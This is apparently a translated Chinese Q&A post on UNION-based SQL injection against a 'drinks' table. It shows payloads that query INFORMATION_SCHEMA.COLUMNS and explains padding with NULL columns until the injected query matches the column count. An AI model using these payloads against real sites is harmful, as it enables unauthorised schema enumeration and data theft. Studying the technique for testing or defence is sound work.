我试图通过使用以下修改的SQL语句从旧版系统中获取列名:
SELECT *
FROM drinks
WHERE drinkname='smirnoff'
UNION
SELECT COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'drinks'
但是该网页引发错误,而不是说它无法执行修改后的查询。
如何通过SQL注入获取drinks
表的字段名称?
答案 0 :(得分:0)
在任何UNION查询中,与UNION组合的每个SELECT的列数必须相同。换句话说,以下是错误,因为列数不同:
SELECT a, b, c FROM table1
UNION
SELECT a, b FROM table1
进行SQL注入时,您可能不知道要利用的查询的选择列表中的列数。根据需要添加更多带有NULL的列。继续尝试,直到获得成功为止。
SELECT * FROM drinks WHERE drinkname='smirnoff'
UNION
SELECT COLUMN_NAME, NULL, NULL, NULL, ...
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'drinks'
这似乎很乏味且容易出错。
但是实施SQL注入攻击的罪犯很有动机。